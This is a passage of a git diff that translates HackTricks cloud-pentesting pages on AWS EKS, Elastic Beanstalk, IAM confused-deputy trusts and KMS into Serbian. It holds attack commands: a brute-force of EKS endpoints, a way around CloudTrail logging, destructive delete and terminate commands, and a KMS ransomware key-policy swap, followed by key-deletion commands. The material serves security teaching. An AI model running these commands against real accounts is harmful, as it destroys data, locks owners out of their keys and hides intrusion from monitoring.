c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==
|
||||
server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com
|
||||
name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
contexts:
|
||||
- context:
|
||||
cluster: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
user: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
- context:
|
||||
cluster: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
user: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
current-context: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
kind: Config
|
||||
preferences: {}
|
||||
users:
|
||||
- name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
user:
|
||||
exec:
|
||||
apiVersion: client.authentication.k8s.io/v1beta1
|
||||
args:
|
||||
- --region
|
||||
- us-west-2
|
||||
- --profile
|
||||
- <profile>
|
||||
- eks
|
||||
- get-token
|
||||
- --cluster-name
|
||||
- <cluster-name>
|
||||
command: aws
|
||||
env: null
|
||||
interactiveMode: IfAvailable
|
||||
provideClusterInfo: false
|
||||
- name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
user:
|
||||
exec:
|
||||
apiVersion: client.authentication.k8s.io/v1beta1
|
||||
args:
|
||||
- --region
|
||||
- us-west-2
|
||||
- --profile
|
||||
- <profile>
|
||||
- eks
|
||||
- get-token
|
||||
- --cluster-name
|
||||
- <cluster-name>
|
||||
command: aws
|
||||
env: null
|
||||
interactiveMode: IfAvailable
|
||||
provideClusterInfo: false
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
### From AWS to Kubernetes
|
||||
### Od AWS do Kubernetes
|
||||
|
||||
The **creator** of the **EKS cluster** is **ALWAYS** going to be able to get into the kubernetes cluster part of the group **`system:masters`** (k8s admin). At the time of this writing there is **no direct way** to find **who created** the cluster (you can check CloudTrail). And the is **no way** to **remove** that **privilege**.
|
||||
**Kreator** **EKS klastera** će **UVEK** moći da uđe u deo kubernetes klastera grupe **`system:masters`** (k8s admin). U trenutku pisanja ovog teksta **ne postoji direktan način** da se sazna **ko je kreirao** klaster (možete proveriti CloudTrail). I **ne postoji način** da se **ukloni** ta **privilegija**.
|
||||
|
||||
The way to grant **access to over K8s to more AWS IAM users or roles** is using the **configmap** **`aws-auth`**.
|
||||
Način da se dodeli **pristup više AWS IAM korisnicima ili rolama** je korišćenjem **configmap** **`aws-auth`**.
|
||||
|
||||
> [!WARNING]
|
||||
> Therefore, anyone with **write access** over the config map **`aws-auth`** will be able to **compromise the whole cluster**.
|
||||
> Stoga, svako ko ima **pristup za pisanje** na config mapu **`aws-auth`** će moći da **kompromituje ceo klaster**.
|
||||
|
||||
For more information about how to **grant extra privileges to IAM roles & users** in the **same or different account** and how to **abuse** this to [**privesc check this page**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps).
|
||||
Za više informacija o tome kako da **dodelite dodatne privilegije IAM rolama i korisnicima** u **isto ili različitoj računu** i kako da **zloupotrebite** ovo da [**privesc proverite ovu stranicu**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps).
|
||||
|
||||
Check also[ **this awesome**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post to learn how the authentication IAM -> Kubernetes work**.
|
||||
Proverite takođe[ **ovaj sjajan**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post da saznate kako funkcioniše autentifikacija IAM -> Kubernetes**.
|
||||
|
||||
### From Kubernetes to AWS
|
||||
### Od Kubernetes do AWS
|
||||
|
||||
It's possible to allow an **OpenID authentication for kubernetes service account** to allow them to assume roles in AWS. Learn how [**this work in this page**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
|
||||
Moguće je omogućiti **OpenID autentifikaciju za kubernetes servisni nalog** da im omogući da preuzmu uloge u AWS-u. Saznajte kako [**to funkcioniše na ovoj stranici**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
|
||||
|
||||
### GET Api Server Endpoint from a JWT Token
|
||||
|
||||
Decoding the JWT token we get the cluster id & also the region.  Knowing that the standard format for EKS url is
|
||||
### GET Api Server Endpoint iz JWT Tokena
|
||||
|
||||
Dekodiranjem JWT tokena dobijamo id klastera i takođe region.  Znajući da je standardni format za EKS url
|
||||
```bash
|
||||
https://<cluster-id>.<two-random-chars><number>.<region>.eks.amazonaws.com
|
||||
```
|
||||
|
||||
Didn't find any documentation that explain the criteria for the 'two chars' and the 'number'. But making some test on my behalf I see recurring these one:
|
||||
Nisam pronašao nikakvu dokumentaciju koja objašnjava kriterijume za 'dva karaktera' i 'broj'. Ali, radeći neke testove u svoje ime, primetio sam da se ovi ponavljaju:
|
||||
|
||||
- gr7
|
||||
- yl4
|
||||
|
||||
Anyway are just 3 chars we can bruteforce them. Use the below script for generating the list
|
||||
|
||||
U svakom slučaju, to su samo 3 karaktera koje možemo bruteforce-ovati. Koristite ispod navedeni skript za generisanje liste.
|
||||
```python
|
||||
from itertools import product
|
||||
from string import ascii_lowercase
|
||||
@@ -116,44 +107,37 @@ letter_combinations = product('abcdefghijklmnopqrstuvwxyz', repeat = 2)
|
||||
number_combinations = product('0123456789', repeat = 1)
|
||||
|
||||
result = [
|
||||
f'{''.join(comb[0])}{comb[1][0]}'
|
||||
for comb in product(letter_combinations, number_combinations)
|
||||
f'{''.join(comb[0])}{comb[1][0]}'
|
||||
for comb in product(letter_combinations, number_combinations)
|
||||
]
|
||||
|
||||
with open('out.txt', 'w') as f:
|
||||
f.write('\n'.join(result))
|
||||
f.write('\n'.join(result))
|
||||
```
|
||||
|
||||
Then with wfuzz
|
||||
|
||||
Тада са wfuzz
|
||||
```bash
|
||||
wfuzz -Z -z file,out.txt --hw 0 https://<cluster-id>.FUZZ.<region>.eks.amazonaws.com
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> Remember to replace & .
|
||||
> Запамтите да замените & .
|
||||
|
||||
### Bypass CloudTrail
|
||||
### Заобилажење CloudTrail
|
||||
|
||||
If an attacker obtains credentials of an AWS with **permission over an EKS**. If the attacker configures it's own **`kubeconfig`** (without calling **`update-kubeconfig`**) as explained previously, the **`get-token`** doesn't generate logs in Cloudtrail because it doesn't interact with the AWS API (it just creates the token locally).
|
||||
Ако нападач добије акредитиве AWS са **дозволом над EKS**. Ако нападач конфигурише свој **`kubeconfig`** (без позивања **`update-kubeconfig`**) као што је објашњено раније, **`get-token`** не генерише логове у Cloudtrail-у јер не интерактује са AWS API-jem (само локално креира токен).
|
||||
|
||||
So when the attacker talks with the EKS cluster, **cloudtrail won't log anything related to the user being stolen and accessing it**.
|
||||
Дакле, када нападач комуницира са EKS кластером, **cloudtrail неће логовати ништа у вези са украденим корисником и његовим приступом**.
|
||||
|
||||
Note that the **EKS cluster might have logs enabled** that will log this access (although, by default, they are disabled).
|
||||
Напомена да **EKS кластер може имати укључене логове** који ће логовати овај приступ (иако су по подразумеваној поставци онемогућени).
|
||||
|
||||
### EKS Ransom?
|
||||
### EKS Откуп?
|
||||
|
||||
By default the **user or role that created** a cluster is **ALWAYS going to have admin privileges** over the cluster. And that the only "secure" access AWS will have over the Kubernetes cluster.
|
||||
По подразумеваној поставци, **корисник или улога која је креирала** кластер **УВЕК ће имати администраторске привилегије** над кластером. И да је то једини "сигуран" приступ који AWS може имати над Kubernetes кластером.
|
||||
|
||||
So, if an **attacker compromises a cluster using fargate** and **removes all the other admins** and d**eletes the AWS user/role that created** the Cluster, ~~the attacker could have **ransomed the cluste**~~**r**.
|
||||
Дакле, ако **нападач компромитује кластер користећи fargate** и **уклони све остале администраторе** и **обрише AWS корисника/улогу која је креирала** кластер, ~~нападач би могао да **откупи кластер**~~**.
|
||||
|
||||
> [!TIP]
|
||||
> Note that if the cluster was using **EC2 VMs**, it could be possible to get Admin privileges from the **Node** and recover the cluster.
|
||||
> Напомена да ако је кластер користио **EC2 ВМ**, могло би бити могуће добити администраторске привилегије из **Node** и опоравити кластер.
|
||||
>
|
||||
> Actually, If the cluster is using Fargate you could EC2 nodes or move everything to EC2 to the cluster and recover it accessing the tokens in the node.
|
||||
> У ствари, ако кластер користи Fargate, могли бисте EC2 чворове или преместити све на EC2 у кластер и опоравити га приступајући токенима у чвору.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Elastic Beanstalk
|
||||
|
||||
For more information:
|
||||
Za više informacija:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-elastic-beanstalk-enum.md
|
||||
@@ -13,72 +13,58 @@ For more information:
|
||||
### `elasticbeanstalk:DeleteApplicationVersion`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test if more permissions are required for this
|
||||
|
||||
An attacker with the permission `elasticbeanstalk:DeleteApplicationVersion` can **delete an existing application version**. This action could disrupt application deployment pipelines or cause loss of specific application versions if not backed up.
|
||||
> TODO: Testirati da li su potrebne dodatne dozvole za ovo
|
||||
|
||||
Napadač sa dozvolom `elasticbeanstalk:DeleteApplicationVersion` može **izbrisati postojeću verziju aplikacije**. Ova akcija može ometati procese implementacije aplikacija ili uzrokovati gubitak specifičnih verzija aplikacija ako nisu sačuvane.
|
||||
```bash
|
||||
aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version
|
||||
```
|
||||
|
||||
**Potential Impact**: Disruption of application deployment and potential loss of application versions.
|
||||
**Potencijalni Uticaj**: Poremećaj u implementaciji aplikacija i potencijalni gubitak verzija aplikacija.
|
||||
|
||||
### `elasticbeanstalk:TerminateEnvironment`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test if more permissions are required for this
|
||||
|
||||
An attacker with the permission `elasticbeanstalk:TerminateEnvironment` can **terminate an existing Elastic Beanstalk environment**, causing downtime for the application and potential data loss if the environment is not configured for backups.
|
||||
> [!NAPOMENA]
|
||||
> TODO: Testirati da li su potrebne dodatne dozvole za ovo
|
||||
|
||||
Napadač sa dozvolom `elasticbeanstalk:TerminateEnvironment` može **ukinuti postojeće Elastic Beanstalk okruženje**, uzrokujući prekid rada aplikacije i potencijalni gubitak podataka ako okruženje nije konfigurisano za rezervne kopije.
|
||||
```bash
|
||||
aws elasticbeanstalk terminate-environment --environment-name my-existing-env
|
||||
```
|
||||
|
||||
**Potential Impact**: Downtime of the application, potential data loss, and disruption of services.
|
||||
**Potencijalni uticaj**: Vreme neaktivnosti aplikacije, potencijalni gubitak podataka i prekid usluga.
|
||||
|
||||
### `elasticbeanstalk:DeleteApplication`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test if more permissions are required for this
|
||||
|
||||
An attacker with the permission `elasticbeanstalk:DeleteApplication` can **delete an entire Elastic Beanstalk application**, including all its versions and environments. This action could cause a significant loss of application resources and configurations if not backed up.
|
||||
> TODO: Testirati da li su potrebne dodatne dozvole za ovo
|
||||
|
||||
Napadač sa dozvolom `elasticbeanstalk:DeleteApplication` može **izbrisati celu Elastic Beanstalk aplikaciju**, uključujući sve njene verzije i okruženja. Ova akcija može izazvati značajan gubitak resursa i konfiguracija aplikacije ako nisu sačuvani.
|
||||
```bash
|
||||
aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force
|
||||
```
|
||||
|
||||
**Potential Impact**: Loss of application resources, configurations, environments, and application versions, leading to service disruption and potential data loss.
|
||||
**Potencijalni uticaj**: Gubitak resursa aplikacije, konfiguracija, okruženja i verzija aplikacije, što može dovesti do prekida usluge i potencijalnog gubitka podataka.
|
||||
|
||||
### `elasticbeanstalk:SwapEnvironmentCNAMEs`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test if more permissions are required for this
|
||||
|
||||
An attacker with the `elasticbeanstalk:SwapEnvironmentCNAMEs` permission can **swap the CNAME records of two Elastic Beanstalk environments**, which might cause the wrong version of the application to be served to users or lead to unintended behavior.
|
||||
> TODO: Testirati da li su potrebne dodatne dozvole za ovo
|
||||
|
||||
Napadač sa `elasticbeanstalk:SwapEnvironmentCNAMEs` dozvolom može **promeniti CNAME zapise dva Elastic Beanstalk okruženja**, što može uzrokovati da pogrešna verzija aplikacije bude dostupna korisnicima ili dovesti do nepredviđenog ponašanja.
|
||||
```bash
|
||||
aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2
|
||||
```
|
||||
|
||||
**Potential Impact**: Serving the wrong version of the application to users or causing unintended behavior in the application due to swapped environments.
|
||||
**Potencijalni uticaj**: Posluživanje pogrešne verzije aplikacije korisnicima ili izazivanje nepredviđenog ponašanja u aplikaciji zbog zamenjenih okruženja.
|
||||
|
||||
### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test if more permissions are required for this
|
||||
|
||||
An attacker with the `elasticbeanstalk:AddTags` and `elasticbeanstalk:RemoveTags` permissions can **add or remove tags on Elastic Beanstalk resources**. This action could lead to incorrect resource allocation, billing, or resource management.
|
||||
> [!NAPOMENA]
|
||||
> TODO: Testirati da li su potrebne dodatne dozvole za ovo
|
||||
|
||||
Napadač sa `elasticbeanstalk:AddTags` i `elasticbeanstalk:RemoveTags` dozvolama može **dodavati ili uklanjati oznake na Elastic Beanstalk resursima**. Ova akcija može dovesti do pogrešne alokacije resursa, naplate ili upravljanja resursima.
|
||||
```bash
|
||||
aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1
|
||||
|
||||
aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag
|
||||
```
|
||||
|
||||
**Potential Impact**: Incorrect resource allocation, billing, or resource management due to added or removed tags.
|
||||
**Potencijalni uticaj**: Neispravna alokacija resursa, naplata ili upravljanje resursima zbog dodatih ili uklonjenih oznaka.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,104 +4,90 @@
|
||||
|
||||
## IAM
|
||||
|
||||
For more information about IAM access:
|
||||
Za više informacija o IAM pristupu:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
## Confused Deputy Problem
|
||||
## Problem zbunjenog zamenika
|
||||
|
||||
If you **allow an external account (A)** to access a **role** in your account, you will probably have **0 visibility** on **who can exactly access that external account**. This is a problem, because if another external account (B) can access the external account (A) it's possible that **B will also be able to access your account**.
|
||||
Ako **dozvolite eksternom nalogu (A)** da pristupi **rolu** u vašem nalogu, verovatno ćete imati **0 vidljivosti** o **tome ko tačno može pristupiti tom eksternom nalogu**. To je problem, jer ako drugi eksterni nalog (B) može pristupiti eksternom nalogu (A), moguće je da **B takođe može pristupiti vašem nalogu**.
|
||||
|
||||
Therefore, when allowing an external account to access a role in your account it's possible to specify an `ExternalId`. This is a "secret" string that the external account (A) **need to specify** in order to **assume the role in your organization**. As the **external account B won't know this string**, even if he has access over A he **won't be able to access your role**.
|
||||
Stoga, kada dozvoljavate eksternom nalogu da pristupi roli u vašem nalogu, moguće je odrediti `ExternalId`. Ovo je "tajna" string koja eksterni nalog (A) **mora da navede** kako bi **preuzeo ulogu u vašoj organizaciji**. Kako **eksterni nalog B neće znati ovu string**, čak i ako ima pristup A, **neće moći da pristupi vašoj roli**.
|
||||
|
||||
<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
However, note that this `ExternalId` "secret" is **not a secret**, anyone that can **read the IAM assume role policy will be able to see it**. But as long as the external account A knows it, but the external account **B doesn't know it**, it **prevents B abusing A to access your role**.
|
||||
|
||||
Example:
|
||||
Međutim, imajte na umu da ova `ExternalId` "tajna" **nije tajna**, svako ko može **da pročita IAM politiku preuzimanja uloge moći će da je vidi**. Ali sve dok eksterni nalog A to zna, a eksterni nalog **B to ne zna**, to **sprečava B da zloupotrebi A kako bi pristupio vašoj roli**.
|
||||
|
||||
Primer:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": {
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "Example Corp's AWS Account ID"
|
||||
},
|
||||
"Action": "sts:AssumeRole",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"sts:ExternalId": "12345"
|
||||
}
|
||||
}
|
||||
}
|
||||
"Version": "2012-10-17",
|
||||
"Statement": {
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "Example Corp's AWS Account ID"
|
||||
},
|
||||
"Action": "sts:AssumeRole",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"sts:ExternalId": "12345"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> For an attacker to exploit a confused deputy he will need to find somehow if principals of the current account can impersonate roles in other accounts.
|
||||
> Da bi napadač iskoristio zbunjenog zamenika, moraće nekako da sazna da li subjekti trenutnog naloga mogu da imituju uloge u drugim nalozima.
|
||||
|
||||
### Unexpected Trusts
|
||||
|
||||
#### Wildcard as principal
|
||||
### Neočekivana poverenja
|
||||
|
||||
#### Wildcard kao subjekt
|
||||
```json
|
||||
{
|
||||
"Action": "sts:AssumeRole",
|
||||
"Effect": "Allow",
|
||||
"Principal": { "AWS": "*" }
|
||||
"Action": "sts:AssumeRole",
|
||||
"Effect": "Allow",
|
||||
"Principal": { "AWS": "*" }
|
||||
}
|
||||
```
|
||||
Ova politika **omogućava svim AWS** da preuzmu ulogu.
|
||||
|
||||
This policy **allows all AWS** to assume the role.
|
||||
|
||||
#### Service as principal
|
||||
|
||||
#### Usluga kao glavni
|
||||
```json
|
||||
{
|
||||
"Action": "lambda:InvokeFunction",
|
||||
"Effect": "Allow",
|
||||
"Principal": { "Service": "apigateway.amazonaws.com" },
|
||||
"Resource": "arn:aws:lambda:000000000000:function:foo"
|
||||
"Action": "lambda:InvokeFunction",
|
||||
"Effect": "Allow",
|
||||
"Principal": { "Service": "apigateway.amazonaws.com" },
|
||||
"Resource": "arn:aws:lambda:000000000000:function:foo"
|
||||
}
|
||||
```
|
||||
Ova politika **dozvoljava bilo kojem nalogu** da konfiguriše svoj apigateway da poziva ovu Lambda.
|
||||
|
||||
This policy **allows any account** to configure their apigateway to call this Lambda.
|
||||
|
||||
#### S3 as principal
|
||||
|
||||
#### S3 kao glavni
|
||||
```json
|
||||
"Condition": {
|
||||
"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" },
|
||||
"StringEquals": {
|
||||
"aws:SourceAccount": "123456789012"
|
||||
}
|
||||
"StringEquals": {
|
||||
"aws:SourceAccount": "123456789012"
|
||||
}
|
||||
}
|
||||
```
|
||||
Ako je S3 kofa data kao principal, pošto S3 kofe nemaju ID naloga, ako ste **obrisali svoju kofu i napadač je kreirao** je u svom nalogu, onda bi mogli da to zloupotrebe.
|
||||
|
||||
If an S3 bucket is given as a principal, because S3 buckets do not have an Account ID, if you **deleted your bucket and the attacker created** it in their own account, then they could abuse this.
|
||||
|
||||
#### Not supported
|
||||
|
||||
#### Nije podržano
|
||||
```json
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": { "Service": "cloudtrail.amazonaws.com" },
|
||||
"Action": "s3:PutObject",
|
||||
"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
|
||||
"Effect": "Allow",
|
||||
"Principal": { "Service": "cloudtrail.amazonaws.com" },
|
||||
"Action": "s3:PutObject",
|
||||
"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
|
||||
}
|
||||
```
|
||||
|
||||
A common way to avoid Confused Deputy problems is the use of a condition with `AWS:SourceArn` to check the origin ARN. However, **some services might not support that** (like CloudTrail according to some sources).
|
||||
Uobičajen način da se izbegnu problemi sa Confused Deputy je korišćenje uslova sa `AWS:SourceArn` za proveru izvora ARN. Međutim, **neke usluge možda to ne podržavaju** (kao što je CloudTrail prema nekim izvorima).
|
||||
|
||||
## References
|
||||
|
||||
- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,134 +4,122 @@
|
||||
|
||||
## KMS
|
||||
|
||||
For more information check:
|
||||
Za više informacija pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Encrypt/Decrypt information
|
||||
### Enkriptovanje/Dekriptovanje informacija
|
||||
|
||||
`fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files:
|
||||
`fileb://` i `file://` su URI sheme koje se koriste u AWS CLI komandama za specificiranje puta do lokalnih fajlova:
|
||||
|
||||
- `fileb://:` Reads the file in binary mode, commonly used for non-text files.
|
||||
- `file://:` Reads the file in text mode, typically used for plain text files, scripts, or JSON that doesn't have special encoding requirements.
|
||||
- `fileb://:` Čita fajl u binarnom režimu, obično se koristi za ne-tekstualne fajlove.
|
||||
- `file://:` Čita fajl u tekstualnom režimu, obično se koristi za obične tekstualne fajlove, skripte ili JSON koji nemaju posebne zahteve za kodiranje.
|
||||
|
||||
> [!TIP]
|
||||
> Note that if you want to decrypt some data inside a file, the file must contain the binary data, not base64 encoded data. (fileb://)
|
||||
|
||||
- Using a **symmetric** key
|
||||
> Imajte na umu da ako želite da dekriptujete neke podatke unutar fajla, fajl mora sadržati binarne podatke, a ne base64 kodirane podatke. (fileb://)
|
||||
|
||||
- Koristeći **simetrični** ključ
|
||||
```bash
|
||||
# Encrypt data
|
||||
aws kms encrypt \
|
||||
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
|
||||
--plaintext fileb:///tmp/hello.txt \
|
||||
--output text \
|
||||
--query CiphertextBlob | base64 \
|
||||
--decode > ExampleEncryptedFile
|
||||
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
|
||||
--plaintext fileb:///tmp/hello.txt \
|
||||
--output text \
|
||||
--query CiphertextBlob | base64 \
|
||||
--decode > ExampleEncryptedFile
|
||||
|
||||
# Decrypt data
|
||||
aws kms decrypt \
|
||||
--ciphertext-blob fileb://ExampleEncryptedFile \
|
||||
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
|
||||
--output text \
|
||||
--query Plaintext | base64 \
|
||||
--decode
|
||||
--ciphertext-blob fileb://ExampleEncryptedFile \
|
||||
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
|
||||
--output text \
|
||||
--query Plaintext | base64 \
|
||||
--decode
|
||||
```
|
||||
|
||||
- Using a **asymmetric** key:
|
||||
|
||||
- Koristeći **asimetrični** ključ:
|
||||
```bash
|
||||
# Encrypt data
|
||||
aws kms encrypt \
|
||||
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
|
||||
--encryption-algorithm RSAES_OAEP_SHA_256 \
|
||||
--plaintext fileb:///tmp/hello.txt \
|
||||
--output text \
|
||||
--query CiphertextBlob | base64 \
|
||||
--decode > ExampleEncryptedFile
|
||||
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
|
||||
--encryption-algorithm RSAES_OAEP_SHA_256 \
|
||||
--plaintext fileb:///tmp/hello.txt \
|
||||
--output text \
|
||||
--query CiphertextBlob | base64 \
|
||||
--decode > ExampleEncryptedFile
|
||||
|
||||
# Decrypt data
|
||||
aws kms decrypt \
|
||||
--ciphertext-blob fileb://ExampleEncryptedFile \
|
||||
--encryption-algorithm RSAES_OAEP_SHA_256 \
|
||||
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
|
||||
--output text \
|
||||
--query Plaintext | base64 \
|
||||
--decode
|
||||
--ciphertext-blob fileb://ExampleEncryptedFile \
|
||||
--encryption-algorithm RSAES_OAEP_SHA_256 \
|
||||
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
|
||||
--output text \
|
||||
--query Plaintext | base64 \
|
||||
--decode
|
||||
```
|
||||
|
||||
### KMS Ransomware
|
||||
|
||||
An attacker with privileged access over KMS could modify the KMS policy of keys and **grant his account access over them**, removing the access granted to the legit account.
|
||||
Napadač sa privilegovanim pristupom KMS-u može da izmeni KMS politiku ključeva i **dodeli svom nalogu pristup tim ključevima**, uklanjajući pristup koji je dodeljen legitimnom nalogu.
|
||||
|
||||
Then, the legit account users won't be able to access any informatcion of any service that has been encrypted with those keys, creating an easy but effective ransomware over the account.
|
||||
Tada korisnici legitimnog naloga neće moći da pristupe bilo kojim informacijama bilo koje usluge koja je enkriptovana tim ključevima, stvarajući lak ali efikasan ransomware nad nalogom.
|
||||
|
||||
> [!WARNING]
|
||||
> Note that **AWS managed keys aren't affected** by this attack, only **Customer managed keys**.
|
||||
|
||||
> Also note the need to use the param **`--bypass-policy-lockout-safety-check`** (the lack of this option in the web console makes this attack only possible from the CLI).
|
||||
> Imajte na umu da **AWS upravljani ključevi nisu pogođeni** ovim napadom, samo **Klijentski upravljani ključevi**.
|
||||
|
||||
> Takođe imajte na umu potrebu da koristite parametar **`--bypass-policy-lockout-safety-check`** (nedostatak ove opcije u web konzoli čini ovaj napad mogućim samo iz CLI-a).
|
||||
```bash
|
||||
# Force policy change
|
||||
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
|
||||
--policy-name default \
|
||||
--policy file:///tmp/policy.yaml \
|
||||
--bypass-policy-lockout-safety-check
|
||||
--policy-name default \
|
||||
--policy file:///tmp/policy.yaml \
|
||||
--bypass-policy-lockout-safety-check
|
||||
|
||||
{
|
||||
"Id": "key-consolepolicy-3",
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "Enable IAM User Permissions",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::<your_own_account>:root"
|
||||
},
|
||||
"Action": "kms:*",
|
||||
"Resource": "*"
|
||||
}
|
||||
]
|
||||
"Id": "key-consolepolicy-3",
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "Enable IAM User Permissions",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::<your_own_account>:root"
|
||||
},
|
||||
"Action": "kms:*",
|
||||
"Resource": "*"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that if you change that policy and only give access to an external account, and then from this external account you try to set a new policy to **give the access back to original account, you won't be able**.
|
||||
> Imajte na umu da ako promenite tu politiku i date pristup samo eksternom nalogu, a zatim iz ovog eksternog naloga pokušate da postavite novu politiku da **ponovo date pristup originalnom nalogu, nećete moći**.
|
||||
|
||||
<figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Generic KMS Ransomware
|
||||
### Generički KMS Ransomware
|
||||
|
||||
#### Global KMS Ransomware
|
||||
#### Globalni KMS Ransomware
|
||||
|
||||
There is another way to perform a global KMS Ransomware, which would involve the following steps:
|
||||
Postoji još jedan način da se izvrši globalni KMS Ransomware, koji bi uključivao sledeće korake:
|
||||
|
||||
- Create a new **key with a key material** imported by the attacker
|
||||
- **Re-encrypt older data** encrypted with the previous version with the new one.
|
||||
- **Delete the KMS key**
|
||||
- Now only the attacker, who has the original key material could be able to decrypt the encrypted data
|
||||
|
||||
### Destroy keys
|
||||
- Kreirajte novi **ključ sa ključnim materijalom** koji je uvezen od strane napadača
|
||||
- **Ponovo enkriptujte starije podatke** enkriptovane prethodnom verzijom sa novom.
|
||||
- **Obrišite KMS ključ**
|
||||
- Sada samo napadač, koji ima originalni ključni materijal, može da dekriptuje enkriptovane podatke
|
||||
|
||||
### Uništavanje ključeva
|
||||
```bash
|
||||
# Destoy they key material previously imported making the key useless
|
||||
aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab
|
||||
|
||||
# Schedule the destoy of a key (min wait time is 7 days)
|
||||
aws kms schedule-key-deletion \
|
||||
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
|
||||
--pending-window-in-days 7
|
||||
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
|
||||
--pending-window-in-days 7
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that AWS now **prevents the previous actions from being performed from a cross account:**
|
||||
> Imajte na umu da AWS sada **sprečava prethodne radnje da se izvrše iz druge naloge:**
|
||||
|
||||
<figure><img src="../../../images/image (76).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,30 +4,26 @@
|
||||
|
||||
## Lambda
|
||||
|
||||
For more information check:
|
||||
Za više informacija pogledajte:
|
||||
|
||||
